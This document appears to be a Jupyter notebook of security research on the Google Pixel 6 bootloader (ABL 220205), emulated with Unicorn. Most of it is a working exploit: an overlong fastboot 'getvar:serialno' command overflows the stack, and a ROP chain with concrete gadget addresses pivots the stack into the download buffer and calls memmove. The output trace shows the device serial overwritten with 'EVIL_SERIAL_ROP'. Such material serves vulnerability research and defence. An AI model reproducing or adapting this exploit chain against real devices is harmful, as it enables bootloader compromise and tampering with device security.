README.md
Rendering markdown...
{
"cells": [
{
"cell_type": "code",
"execution_count": 6,
"id": "62ff0c2b-4b1a-4292-a554-3bc44790813c",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"\n",
"/home/josh/.pyenv/shims/python\n",
"Available kernels:\n",
" pyenv /home/josh/.local/share/jupyter/kernels/pyenv\n",
" python2 /home/josh/.local/share/jupyter/kernels/python2\n",
" python3 /home/josh/.local/share/jupyter/kernels/python3\n",
" venv /home/josh/.local/share/jupyter/kernels/venv\n"
]
}
],
"source": [
"# Derived from https://github.com/eshard/pixel6-boot/blob/main/run_abl_public.ipynb\n",
"# python -m ipykernel install --user --name=pyenv --display-name \"Python 3 (pyenv)\"\n",
"# switch to Python 3 (pyenv) kernel\n",
"!echo $VIRTUAL_ENV\n",
"!which python\n",
"!jupyter kernelspec list\n"
]
},
{
"cell_type": "code",
"execution_count": 7,
"id": "df4383b0-33e9-4674-a166-6b8236fcec21",
"metadata": {},
"outputs": [],
"source": [
"#%load_ext autoreload\n",
"#%autoreload 2\n",
"\n",
"from unicorn import *\n",
"from unicorn.arm64_const import *\n",
"import unicorn.arm_const\n",
"import struct\n",
"import capstone\n",
"import keystone\n",
"import pwn"
]
},
{
"cell_type": "code",
"execution_count": 8,
"id": "09c964f7-cc54-4ff1-af79-aa2abc3e8cac",
"metadata": {},
"outputs": [],
"source": [
"\n",
"disassembler = capstone.Cs(capstone.CS_ARCH_ARM64,capstone.CS_MODE_ARM)\n",
"def disas(code, addr):\n",
" insn = None\n",
" for insn in disassembler.disasm(code, addr):\n",
" print(\"0x%x:\\t%s\\t%s\" % (insn.address, insn.mnemonic, insn.op_str))\n",
" return insn\n",
" \n",
"def gen_shellcode(data,address):\n",
" ks = keystone.Ks(keystone.KS_ARCH_ARM64,keystone.KS_MODE_LITTLE_ENDIAN)\n",
" ret=ks.asm(data,address)\n",
" return bytes(ret[0])"
]
},
{
"cell_type": "code",
"execution_count": 9,
"id": "a547ffad-e3ef-4fb9-b870-128963a8cc09",
"metadata": {},
"outputs": [],
"source": [
"\n",
"with open(\"abl_220205\",\"rb\") as f:\n",
" data=f.read()\n",
"\n",
"# function addresses abl 22\n",
"fastboot_read = 0xFFFF0000F8871E18\n",
"download_buffer = 0xffff000090700000 \n",
"__debug_stdio_write = 0xFFFF0000F88A7898\n",
"fastboot_write = 0xFFFF0000F8871E94\n",
"pixel_loader_entry_run = 0xFFFF0000F8813AD4\n",
"stop_fastboot = 0xFFFF0000F8ACBD20\n",
"fastboot_read_ret = 0xFFFF0000F8871E4C\n",
"serial_addr = 0xFFFF0000F8AC0058\n",
"\n",
"# abl 22 - these functions create threads and have side effects so we effectively nop them out\n",
"start_app = 0xFFFF0000F88105A0 # abl 22\n",
"fastboot_menu_start = 0xFFFF0000F887BE94 # abl22\n",
"\n",
"ABL_LOAD_ADDRESS = 0xFFFF0000F8800000\n",
"MEMORY_START = 0xFFFF0000F8000000\n",
"MEMORY_SIZE = 200*1024*1024\n",
"STACK_START = MEMORY_START + MEMORY_SIZE - 0x1000\n",
"last_address = 0\n",
"\n",
"def print_stack(uc,num=10):\n",
" sp = uc.reg_read(UC_ARM64_REG_SP)\n",
" #sp -= (8*2)\n",
" print(f\"## STACK DUMP ##\\nSP: {sp:x}\")\n",
" for i,s in enumerate(range(sp,sp+(num*8),8)):\n",
" if sp != 0:\n",
" v = struct.unpack(\"Q\",uc.mem_read(s,8))[0]\n",
" print(f\"@{s:x} {v:x} - #{i*8:x}\")\n",
" print(\" \")\n",
"\n",
"def print_regs(uc):\n",
" print(\" \")\n",
" print(f\"## REGISTERS ##\")\n",
" for reg in [\"X0\",\"X1\",\"X2\",\"X3\",\"X8\",\"X19\",\"X20\",\"X21\",\"X22\",\"X23\",\"X24\",\"X28\",\"X29\",\"X30\",\"SP\",\"PC\"]:\n",
" val = eval(f\"uc.reg_read(UC_ARM64_REG_{reg})\")\n",
" print(f\"{reg} - {val:8X}\\n\",end=\"\")\n",
" print(\"\")\n",
"\n",
"# callback for tracing basic blocks\n",
"def hook_block(uc, address, size, user_data):\n",
" print(\">>> Tracing basic block at 0x%x, block size = 0x%x\" %(address, size))\n",
"\n",
" \n",
"# ABL220205\n",
"#0xffff0000f8818e78: # DIRECT MATCH WITH ABL21\n",
"# ldp x29, x30, [sp], #0x10; \n",
"# ret;\n",
"#\n",
"#0xffff0000f8815a84: # DIRECT MATCH WITH ABL21\n",
"# mov sp, x29; \n",
"# ldp x20, x19, [sp, #0x30]; \n",
"# ldp x22, x21, [sp, #0x20]; \n",
"# ldp x24, x23, [sp, #0x10];\n",
"# ldp x29, x30, [sp], #0x40;\n",
"# ret; \n",
"#\n",
"#0xffff0000f880c924: # DIRECT MATCH WITH ABL21\n",
"# ldp x20, x19, [sp, #0x30]; \n",
"# ldp x22, x21, [sp, #0x20];\n",
"# ldp x24, x23, [sp, #0x10];\n",
"# ldp x29, x30, [sp], #0x40; \n",
"# ret;\n",
"#\n",
"#0xffff0000f8884684: # DIRECT MATCH WITH ABL21\n",
"# ldr x1, [x23, #0x10];\n",
"# mov x0, x21;\n",
"# mov x2, x20;\n",
"# blr x22; \n",
"\n",
"#0xFFFF0000F887E2D4 # DIRECT MATCH WITH ABL21\n",
"# ROM:FFFF0000F887E2D4 BL memmove ; Branch with Link\n",
"# ROM:FFFF0000F887E2D8 MOV W0, WZR ; Rd = Op2\n",
"# ROM:FFFF0000F887E2DC LDP X29, X30, [SP+var_s0],#0x10 ; Load Pair\n",
"# ROM:FFFF0000F887E2E0 RET ; Return from Subroutine\n",
" \n",
"# callback for tracing instructions\n",
"def hook_code(uc, address, size, user_data):\n",
" global commands\n",
" global last_address\n",
" rop_addresses = [\n",
" #0xFFFF0000F8871E4C, # ret instruction that triggers our overflow\n",
" 0xffff0000f8815a84, # first rop gadget\n",
" 0xffff0000f8815a84, # stack pivot gadget\n",
" 0xffff0000f880c924, # stack pivot gadget (to control registers and call)\n",
" 0xffff0000f8884684, # to set x0 etc\n",
" 0xFFFF0000F887E2D4, # call memove\n",
" ]\n",
" \n",
" # trace our rop addresses \n",
" if(address in rop_addresses or address == last_address+4):\n",
" i = disas(uc.mem_read(address,size),address)\n",
" \n",
" if(i.mnemonic == \"ret\" or i.mnemonic[:2] == \"bl\"):\n",
" #print(\"at ret\")\n",
" print_regs(uc)\n",
" print_stack(uc)\n",
" \n",
" # did memmove work? Has serial been updated\n",
" serial = mu.mem_read(serial_addr, 16); \n",
" serial = serial.decode(\"utf-8\")\n",
" print(f\"Checking serial: {serial}\\n\") \n",
" #commands.append(b\"getvar aaa\")\n",
" \n",
" #uc.emu_stop()\n",
" last_address = address\n",
" #else:\n",
" # i = disas(uc.mem_read(address,size),address)\n",
" \n",
"def hook_intr(uc, intno, user_data):\n",
" print(\"\\n##### INTERRUPT\")\n",
" \n",
" # abl 22 - patch to skip smc\n",
" pc = uc.reg_read(UC_ARM64_REG_PC)\n",
" disas(uc.mem_read(pc,4),pc);\n",
" \n",
" print(f\"^ Got interrupt {intno:02x} {pc:02x}. Skipping instruction.\\n\");\n",
" uc.reg_write(UC_ARM64_REG_PC,pc+4)\n",
" #uc.emu_stop()\n",
" return True\n",
"\n",
"def hook_mem_invalid(uc,uc_mem_type,addr,size,value,user_data):\n",
" print(\"\\n############################################\")\n",
" pc = uc.reg_read(UC_ARM64_REG_PC)\n",
" print(f\"INVALID MEMORY @{pc:08X} {addr:08x} {size:08x} {value:08x}\")\n",
" print_regs(uc)\n",
" print_stack(uc)\n",
" print(\"############################################\\n\")\n",
" return False\n",
"\n",
"#Auto allocate pages of memory of size 10Mega on invalid memory access\n",
"PAGE_SIZE=10*1024*1024\n",
"def hook_mem_invalid_auto(uc,uc_mem_type,addr,size,value,user_data):\n",
" pc = uc.reg_read(UC_ARM64_REG_PC)\n",
" start = addr & ~(PAGE_SIZE-1)\n",
" print(f\"~~~~~~~~~~~~~~ mu.mem_map(0x{start:08x}, PAGE_SIZE)\")\n",
" mu.mem_map(start,PAGE_SIZE)\n",
" return True\n",
" \n",
"def hook_fastboot_read(uc,address,size,user_data):\n",
" #print(\"In fb_read\")\n",
" dest = mu.reg_read(UC_ARM64_REG_X0)\n",
" size = mu.reg_read(UC_ARM64_REG_X1)\n",
" num_read = mu.reg_read(UC_ARM64_REG_X2)\n",
"\n",
" global commands\n",
" if len(commands):\n",
" command = commands.pop(0)\n",
" else:\n",
" command = None\n",
" \n",
" if command == b\"outofloop\" or not command:\n",
" print(\">>> Exiting\\n\")\n",
" #Once we are done, set stop_fastboot to 0 and log instructions\n",
" uc.mem_write(stop_fastboot,struct.pack(\"Q\",1))\n",
" mu.reg_write(UC_ARM64_REG_X0,0xFFFFFFF0)\n",
" uc.reg_write(UC_ARM64_REG_PC,fastboot_read_ret)\n",
" else:\n",
" print(\">>> fastboot_read:\") # ,hex(dest),hex(size),hex(num_read))\n",
" #print_stack(uc)\n",
" mu.mem_write(num_read,struct.pack(\"Q\",len(command)))\n",
" mu.mem_write(dest,command)\n",
" mu.reg_write(UC_ARM64_REG_X0,0)\n",
" uc.reg_write(UC_ARM64_REG_PC,fastboot_read_ret)\n",
" \n",
"def hook_fprintf_output(uc,address,size,user_data):\n",
" data = mu.reg_read(UC_ARM64_REG_X0)\n",
" s = mu.mem_read(data,50)\n",
" size = mu.reg_read(UC_ARM64_REG_X1)\n",
" dunno = mu.reg_read(UC_ARM64_REG_X2)\n",
" d = mu.mem_read(dunno,50)\n",
" print(\">>> hook_fprintf_output\",hex(data),s,hex(size),hex(dunno),d)\n",
" \n",
"def hook_stdio_write(uc,address,size,user_data):\n",
" a = mu.reg_read(UC_ARM64_REG_X0)\n",
" b = mu.reg_read(UC_ARM64_REG_X1)\n",
" c = mu.reg_read(UC_ARM64_REG_X2)\n",
" b = mu.mem_read(b,c)\n",
" try:\n",
" b=b.decode(\"utf-8\")\n",
" except Exception as e:\n",
" b=\"\"\n",
" print(b,end=\"\")\n",
" \n",
"def hook_fastboot_write(uc,address,size,user_data):\n",
" a = mu.reg_read(UC_ARM64_REG_X0)\n",
" b = mu.reg_read(UC_ARM64_REG_X1)\n",
" \n",
" try:\n",
" s = mu.mem_read(a,b).decode(\"utf-8\")\n",
" except Exception as e:\n",
" s=\"\"\n",
" print(\"<<<\",s)\n",
"\n",
"# abl 22 \n",
"def hook_start_app(uc,address,size,user_data):\n",
" print(\"\\nstart_app hook:\")\n",
" pc = uc.reg_read(UC_ARM64_REG_PC)\n",
" disas(uc.mem_read(pc,4),pc);\n",
" #print(\"\\n\")\n",
"\n",
"# abl 22 \n",
"def hook_fastboot_menu_start(uc,address,size,user_data):\n",
" print(\"\\nfastboot_menu_start hook:\")\n",
" pc = uc.reg_read(UC_ARM64_REG_PC)\n",
" disas(uc.mem_read(pc,4),pc);\n",
" print(\"\\n\")\n"
]
},
{
"cell_type": "code",
"execution_count": 10,
"id": "339c168c-db77-40d0-b182-e3a064cb96dc",
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"partition misc not found\n",
"failed to read misc(vendor) partition -2\n",
"[ 0.000000] [E] [PXL] could not get charger state -27\n",
"[ 0.000000] [I] [PXL] boot voltage threshold=3400mV\n",
"\n",
"##### INTERRUPT\n",
"0xffff0000f880d3e0:\tmov\tx20, x0\n",
"^ Got interrupt 0d ffff0000f880d3e0. Skipping instruction.\n",
"\n",
"\n",
"start_app hook:\n",
"0xffff0000f88105a0:\tret\t\n",
"\n",
"fastboot_menu_start hook:\n",
"0xffff0000f887be94:\tret\t\n",
"\n",
"\n",
">>> fastboot_read:\n",
"[ 0.000000] [I] [FB] Accept cmd:flashing unlock\n",
"<<< INFOdevice already unlocked\n",
"<<< OKAY\n",
">>> fastboot_read:\n",
"[ 0.000000] [I] [FB] Accept cmd:oem dmesg\n",
"<<< OKAY\n",
">>> fastboot_read:\n",
"[ 0.000000] [I] [FB] Accept cmd:getvar:serialno\n",
"<<< OKAYDAAAAABBBBAAAAAA\n",
">>> fastboot_read:\n",
"[ 0.000000] [I] [FB] Accept cmd:\n",
"<<< FAILvariable (serialnoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n",
">>> Exiting\n",
"\n",
"0xffff0000f8815a84:\tmov\tsp, x29\n",
"0xffff0000f8815a88:\tldp\tx20, x19, [sp, #0x30]\n",
"0xffff0000f8815a8c:\tldp\tx22, x21, [sp, #0x20]\n",
"0xffff0000f8815a90:\tldp\tx24, x23, [sp, #0x10]\n",
"0xffff0000f8815a94:\tldp\tx29, x30, [sp], #0x40\n",
"0xffff0000f8815a98:\tret\t\n",
" \n",
"## REGISTERS ##\n",
"X0 - 0\n",
"X1 - 40\n",
"X2 - FFFF0001047FEEF0\n",
"X3 - 0\n",
"X8 - 0\n",
"X19 - DEADBEEFDEADBE19\n",
"X20 - DEADBEEFDEADBA20\n",
"X21 - 4343434343434343\n",
"X22 - 4343434343434343\n",
"X23 - 4343434343434343\n",
"X24 - 4343434343434343\n",
"X28 - 0\n",
"X29 - 4444444444444444\n",
"X30 - FFFF0000F880C924\n",
"SP - FFFF000090700040\n",
"PC - FFFF0000F8815A98\n",
"\n",
"## STACK DUMP ##\n",
"SP: ffff000090700040\n",
"@ffff000090700040 deadbeefdeadbe29 - #0\n",
"@ffff000090700048 ffff0000f8884684 - #8\n",
"@ffff000090700050 deadbeefdeadbe24 - #10\n",
"@ffff000090700058 ffff000090700070 - #18\n",
"@ffff000090700060 ffff0000f887e2d4 - #20\n",
"@ffff000090700068 ffff0000f8ac0058 - #28\n",
"@ffff000090700070 10 - #30\n",
"@ffff000090700078 deadbeefdeadb119 - #38\n",
"@ffff000090700080 ffff000090700090 - #40\n",
"@ffff000090700088 ffff0000f886fb88 - #48\n",
" \n",
"Checking serial: DAAAAABBBBAAAAAA\n",
"\n",
"0xffff0000f880c924:\tldp\tx20, x19, [sp, #0x30]\n",
"0xffff0000f880c928:\tldp\tx22, x21, [sp, #0x20]\n",
"0xffff0000f880c92c:\tldp\tx24, x23, [sp, #0x10]\n",
"0xffff0000f880c930:\tldp\tx29, x30, [sp], #0x40\n",
"0xffff0000f880c934:\tret\t\n",
" \n",
"## REGISTERS ##\n",
"X0 - 0\n",
"X1 - 40\n",
"X2 - FFFF0001047FEEF0\n",
"X3 - 0\n",
"X8 - 0\n",
"X19 - DEADBEEFDEADB119\n",
"X20 - 10\n",
"X21 - FFFF0000F8AC0058\n",
"X22 - FFFF0000F887E2D4\n",
"X23 - FFFF000090700070\n",
"X24 - DEADBEEFDEADBE24\n",
"X28 - 0\n",
"X29 - DEADBEEFDEADBE29\n",
"X30 - FFFF0000F8884684\n",
"SP - FFFF000090700080\n",
"PC - FFFF0000F880C934\n",
"\n",
"## STACK DUMP ##\n",
"SP: ffff000090700080\n",
"@ffff000090700080 ffff000090700090 - #0\n",
"@ffff000090700088 ffff0000f886fb88 - #8\n",
"@ffff000090700090 5245535f4c495645 - #10\n",
"@ffff000090700098 504f525f4c4149 - #18\n",
"@ffff0000907000a0 0 - #20\n",
"@ffff0000907000a8 0 - #28\n",
"@ffff0000907000b0 0 - #30\n",
"@ffff0000907000b8 0 - #38\n",
"@ffff0000907000c0 0 - #40\n",
"@ffff0000907000c8 0 - #48\n",
" \n",
"Checking serial: DAAAAABBBBAAAAAA\n",
"\n",
"0xffff0000f8884684:\tldr\tx1, [x23, #0x10]\n",
"0xffff0000f8884688:\tmov\tx0, x21\n",
"0xffff0000f888468c:\tmov\tx2, x20\n",
"0xffff0000f8884690:\tblr\tx22\n",
" \n",
"## REGISTERS ##\n",
"X0 - FFFF0000F8AC0058\n",
"X1 - FFFF000090700090\n",
"X2 - 10\n",
"X3 - 0\n",
"X8 - 0\n",
"X19 - DEADBEEFDEADB119\n",
"X20 - 10\n",
"X21 - FFFF0000F8AC0058\n",
"X22 - FFFF0000F887E2D4\n",
"X23 - FFFF000090700070\n",
"X24 - DEADBEEFDEADBE24\n",
"X28 - 0\n",
"X29 - DEADBEEFDEADBE29\n",
"X30 - FFFF0000F8884684\n",
"SP - FFFF000090700080\n",
"PC - FFFF0000F8884690\n",
"\n",
"## STACK DUMP ##\n",
"SP: ffff000090700080\n",
"@ffff000090700080 ffff000090700090 - #0\n",
"@ffff000090700088 ffff0000f886fb88 - #8\n",
"@ffff000090700090 5245535f4c495645 - #10\n",
"@ffff000090700098 504f525f4c4149 - #18\n",
"@ffff0000907000a0 0 - #20\n",
"@ffff0000907000a8 0 - #28\n",
"@ffff0000907000b0 0 - #30\n",
"@ffff0000907000b8 0 - #38\n",
"@ffff0000907000c0 0 - #40\n",
"@ffff0000907000c8 0 - #48\n",
" \n",
"Checking serial: DAAAAABBBBAAAAAA\n",
"\n",
"0xffff0000f887e2d4:\tbl\t#0xffff0000f8876b58\n",
" \n",
"## REGISTERS ##\n",
"X0 - FFFF0000F8AC0058\n",
"X1 - FFFF000090700090\n",
"X2 - 10\n",
"X3 - 0\n",
"X8 - 0\n",
"X19 - DEADBEEFDEADB119\n",
"X20 - 10\n",
"X21 - FFFF0000F8AC0058\n",
"X22 - FFFF0000F887E2D4\n",
"X23 - FFFF000090700070\n",
"X24 - DEADBEEFDEADBE24\n",
"X28 - 0\n",
"X29 - DEADBEEFDEADBE29\n",
"X30 - FFFF0000F8884694\n",
"SP - FFFF000090700080\n",
"PC - FFFF0000F887E2D4\n",
"\n",
"## STACK DUMP ##\n",
"SP: ffff000090700080\n",
"@ffff000090700080 ffff000090700090 - #0\n",
"@ffff000090700088 ffff0000f886fb88 - #8\n",
"@ffff000090700090 5245535f4c495645 - #10\n",
"@ffff000090700098 504f525f4c4149 - #18\n",
"@ffff0000907000a0 0 - #20\n",
"@ffff0000907000a8 0 - #28\n",
"@ffff0000907000b0 0 - #30\n",
"@ffff0000907000b8 0 - #38\n",
"@ffff0000907000c0 0 - #40\n",
"@ffff0000907000c8 0 - #48\n",
" \n",
"Checking serial: DAAAAABBBBAAAAAA\n",
"\n",
"0xffff0000f887e2d8:\tmov\tw0, wzr\n",
"0xffff0000f887e2dc:\tldp\tx29, x30, [sp], #0x10\n",
"0xffff0000f887e2e0:\tret\t\n",
" \n",
"## REGISTERS ##\n",
"X0 - 0\n",
"X1 - FFFF000090700090\n",
"X2 - 10\n",
"X3 - 0\n",
"X8 - FFFF0000F8AC0058\n",
"X19 - DEADBEEFDEADB119\n",
"X20 - 10\n",
"X21 - FFFF0000F8AC0058\n",
"X22 - FFFF0000F887E2D4\n",
"X23 - FFFF000090700070\n",
"X24 - DEADBEEFDEADBE24\n",
"X28 - 0\n",
"X29 - FFFF000090700090\n",
"X30 - FFFF0000F886FB88\n",
"SP - FFFF000090700090\n",
"PC - FFFF0000F887E2E0\n",
"\n",
"## STACK DUMP ##\n",
"SP: ffff000090700090\n",
"@ffff000090700090 5245535f4c495645 - #0\n",
"@ffff000090700098 504f525f4c4149 - #8\n",
"@ffff0000907000a0 0 - #10\n",
"@ffff0000907000a8 0 - #18\n",
"@ffff0000907000b0 0 - #20\n",
"@ffff0000907000b8 0 - #28\n",
"@ffff0000907000c0 0 - #30\n",
"@ffff0000907000c8 0 - #38\n",
"@ffff0000907000d0 0 - #40\n",
"@ffff0000907000d8 0 - #48\n",
" \n",
"Checking serial: EVIL_SERIAL_ROP\u0000\n",
"\n",
">>> PC = 0x0\n"
]
}
],
"source": [
"\n",
"# ABL22\n",
"commands=[\n",
" b\"flashing unlock\",\n",
" b\"oem dmesg\",\n",
" b\"getvar:serialno\",\n",
" b\"getvar:serialnoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" +\n",
" # Initial return address overwrite\n",
" # Set X29, X30 (next gadget) to stack-based values that we control\n",
" #ROM:FFFF0000F880A988 LDP X29, X30, [SP+var_s0],#0x10 ; Load Pair\n",
" #ROM:FFFF0000F880A98C RET ; Return from Subroutine\n",
" pwn.p64(0xffff0000f8818e78) +\n",
" #pwn.p64(ABL_LOAD_ADDRESS) +\n",
" \n",
" # pivot SP via X29\n",
" #ROM:FFFF0000F881593C MOV SP, X29 ; Rd = Op2\n",
" #ROM:FFFF0000F8815940 LDP X20, X19, [SP,#var_s30] ; Load Pair\n",
" #ROM:FFFF0000F8815944 LDP X22, X21, [SP,#var_s20] ; Load Pair\n",
" #ROM:FFFF0000F8815948 LDP X24, X23, [SP,#var_s10] ; Load Pair\n",
" #ROM:FFFF0000F881594C LDP X29, X30, [SP+var_s0],#0x40 ; Load Pair\n",
" #ROM:FFFF0000F8815950 RET ; Return from Subroutine\n",
" # padding data\n",
" pwn.p64(0xDEADBEEFDEADBEEF) +\n",
" pwn.p64(0xDEADBEEFDEADBEEF) +\n",
" pwn.p64(0xDEADBEEFDEADBEEF) +\n",
" pwn.p64(0xDEADBEEFDEADB11F) +\n",
" pwn.p64(0xDEADBEEFDEADBAEF) +\n",
" pwn.p64(0xDEADBEEFDEADBCCF) +\n",
" # pivot our stack to here\n",
" pwn.p64(download_buffer) +\n",
" # our next payload address (stack pivot)\n",
" pwn.p64(0xffff0000f8815a84),\n",
" \n",
" # ^ set registers (see download_buffer for remaining payload)\n",
" # 0xFFFF0000F880C82C: ldp x20, x19, [sp, #0x30]; ldp x22, x21, [sp, #0x20]; ldp x24, x23, [sp, #0x10]; ldp x29, x30, [sp], #0x40; ret;\n",
" # 0xFFFF0000F8883B48: ldr x1, [x23, #0x10]; mov x0, x21; mov x2, x20; blr x22;\n",
" \n",
" #b\"getvar:serialno\",\n",
" #b\"flashing unlock\"\n",
" ]\n",
"\n",
"try:\n",
" # Initialize emulator in ARM mode\n",
" mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)\n",
"\n",
" # map regions that we need\n",
" mu.mem_map(MEMORY_START, MEMORY_SIZE)\n",
" mu.mem_map(0xd8000000, PAGE_SIZE)\n",
" mu.mem_map(0xf8200000, PAGE_SIZE)\n",
" mu.mem_map(0xffffffff19200000, PAGE_SIZE)\n",
" mu.mem_map(0xfffffffff8200000, PAGE_SIZE)\n",
" mu.mem_map(0xffff000080000000, PAGE_SIZE)\n",
" mu.mem_map(0xffff000002000000, PAGE_SIZE)\n",
" mu.mem_map(0xffffffff10000000, PAGE_SIZE)\n",
" mu.mem_map(0xffffffff17400000, PAGE_SIZE) # abl 2022\n",
" mu.mem_map(0x00000000, PAGE_SIZE) # abl 2022\n",
" mu.mem_map(download_buffer,1024*1024*5) #download buffer\n",
" \n",
" # Init SIMD\n",
" SIMD_INIT=gen_shellcode(\"mov x1, #(0x3 << 20);msr cpacr_el1, x1;isb;STP Q1, Q2, [SP,#0x10]\",download_buffer)\n",
" mu.mem_write(download_buffer, SIMD_INIT)\n",
" mu.emu_start(download_buffer, 0, count=3) \n",
" \n",
" # Our rop chain post pivoting of the stack\n",
" MEMMOVE_PAYLOAD = (\n",
" (b\"D\"*8) + \n",
" #ROM:FFFF0000F880C82C LDP X20, X19, [SP,#0x40+var_10] ; Load Pair\n",
" #ROM:FFFF0000F880C830 LDP X22, X21, [SP,#0x40+var_20] ; Load Pair\n",
" #ROM:FFFF0000F880C834 LDP X24, X23, [SP,#0x40+var_30] ; Load Pair\n",
" #ROM:FFFF0000F880C838 LDP X29, X30, [SP+0x40+var_40],#0x40 ; Load Pair\n",
" #ROM:FFFF0000F880C83C RET \n",
" pwn.p64(0xffff0000f880c924) # ^\n",
" \n",
" # registers set by the above rop chain\n",
" +(b\"C\"*32)+\n",
" pwn.p64(0xDEADBEEFDEADBA20)+ # N/A not used\n",
" pwn.p64(0xDEADBEEFDEADBE19)+ # x19\n",
" pwn.p64(0xDEADBEEFDEADBE29)+ # x29\n",
" pwn.p64(0xFFFF0000f8884684)+ # x30 (PC)\n",
" pwn.p64(0xDEADBEEFDEADBE24)+ # x24\n",
" pwn.p64(download_buffer+112)+ # x23 (BECOMES X1 (SRC) IN NEXT CHAIN; PTR!) \n",
" pwn.p64(0xFFFF0000F887E2D4)+ # x22 (BECOMES PC IN NEXT CHAIN!)\n",
" pwn.p64(serial_addr)+ # x21 (BECOMES X0 (DST) IN NEXT CHAIN; RAW)\n",
" pwn.p64(0x10)+ # x20 (BECOMES X2 (SIZE) IN NEXT CHAIN)\n",
" pwn.p64(0xDEADBEEFDEADB119)+ # X19\n",
" # The above is 128 bytes\n",
" # pointer to src string\n",
" pwn.p64(download_buffer+144) + \n",
" # our final return address post memmove\n",
" pwn.p64(0xFFFF0000F886FB88) + \n",
" # ^\n",
" #ROM:FFFF0000F8813EBC ADRL X1, loc_FFFF0000F8814638 ; some_callback\n",
" #ROM:FFFF0000F8813EC4 ADD X0, SP, #0x50+exit_code ; exit_code\n",
" #ROM:FFFF0000F8813EC8 BL fastboot_run ; Branch with Link\n",
" # our new serial (or src data)\n",
" (b\"EVIL_SERIAL_ROP\") + (b\"\\x00\") \n",
" \n",
" # above register data processed by the below chains\n",
" #ROM:FFFF0000F8883B48 LDR X1, [X23,#0x10] ; Load from Memory\n",
" #ROM:FFFF0000F8883B4C MOV X0, X21 ; Rd = Op2\n",
" #ROM:FFFF0000F8883B50 MOV X2, X20 ; Rd = Op2\n",
" #ROM:FFFF0000F8883B54 BLR X22 ; Branch and Link Register\n",
" \n",
" #ROM:FFFF0000F887D798 BL memmove ; Branch with Link\n",
" #ROM:FFFF0000F887D79C MOV W0, WZR ; Rd = Op2\n",
" #ROM:FFFF0000F887D7A0 LDP X29, X30, [SP+var_s0],#0x10 ; Load Pair\n",
" #ROM:FFFF0000F887D7A4 RET ; Return from Subroutine\n",
" )\n",
" \n",
" mu.mem_write(download_buffer, MEMMOVE_PAYLOAD)\n",
" \n",
" #with open(\"/tmp/download_buffer_abl220205\", \"wb\") as binary_file:\n",
" # binary_file.write(MEMMOVE_PAYLOAD)\n",
" \n",
" #with open(\"/tmp/command_buffer_abl220205\", \"wb\") as binary_file:\n",
" # binary_file.write(commands[0])\n",
" \n",
" # set a serialno (for the sake of emulation)\n",
" mu.mem_write(serial_addr, b\"\\x44\\x41\\x41\\x41\\x41\\x41\\x42\\x42\\x42\\x42\\x41\\x41\\x41\\x41\\x41\\x41\\x00\") \n",
" \n",
" # write machine code to be emulated to memory\n",
" mu.mem_write(ABL_LOAD_ADDRESS, data) \n",
"\n",
" # tracing all basic blocks with customized callback\n",
" #mu.hook_add(UC_HOOK_BLOCK, hook_block)\n",
"\n",
" # tracing all instruction with customized callback\n",
" mu.hook_add(UC_HOOK_CODE, hook_code) # code tracing\n",
" mu.hook_add(UC_HOOK_INTR, hook_intr) # interrupts\n",
" # auto-map invalid memory access where possible \n",
" mu.hook_add(UC_HOOK_MEM_INVALID, hook_mem_invalid_auto)\n",
" \n",
" mu.hook_add(UC_HOOK_CODE, hook_fastboot_read, begin=fastboot_read,end=fastboot_read)\n",
" mu.hook_add(UC_HOOK_CODE, hook_stdio_write, begin=__debug_stdio_write,end=__debug_stdio_write)\n",
" mu.hook_add(UC_HOOK_CODE, hook_fastboot_write, begin=fastboot_write,end=fastboot_write)\n",
" \n",
" # abl 22 (we need to nop these out essentially)\n",
" mu.hook_add(UC_HOOK_CODE, hook_start_app, begin=start_app,end=start_app) # abl 22\n",
" mu.hook_add(UC_HOOK_CODE, hook_fastboot_menu_start, begin=fastboot_menu_start,end=fastboot_menu_start) # abl 22\n",
" \n",
" # abl 22 - make sure start_app() and GUI functions abort (threads etc)\n",
" RET_INST = gen_shellcode(\"ret\",download_buffer)\n",
" mu.mem_write(start_app, RET_INST)\n",
" mu.mem_write(fastboot_menu_start, RET_INST)\n",
" \n",
" # Mark stack as N^X. Will throw an error if we try to execute this region \n",
" mu.mem_protect(download_buffer, 1024*1024*5, UC_PROT_READ | UC_PROT_WRITE);\n",
" \n",
" # emulate machine code in infinite time\n",
" mu.reg_write(UC_ARM64_REG_SP,STACK_START)\n",
" mu.emu_start(pixel_loader_entry_run, 0,count=100000)\n",
" pc = mu.reg_read(UC_ARM64_REG_PC) \n",
" print(f\">>> PC = 0x{pc:x}\")\n",
" \n",
"except UcError as e:\n",
" print(\"ERROR: %s\" % e),"
]
},
{
"cell_type": "code",
"execution_count": null,
"id": "14549e7e-f3bc-4fdf-9801-c866a4be9c08",
"metadata": {},
"outputs": [],
"source": []
},
{
"cell_type": "code",
"execution_count": null,
"id": "ea35dfbe-035b-49cd-940a-e86172a5f0e6",
"metadata": {},
"outputs": [],
"source": []
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3 (pyenv)",
"language": "python",
"name": "pyenv"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.10.0"
}
},
"nbformat": 4,
"nbformat_minor": 5
}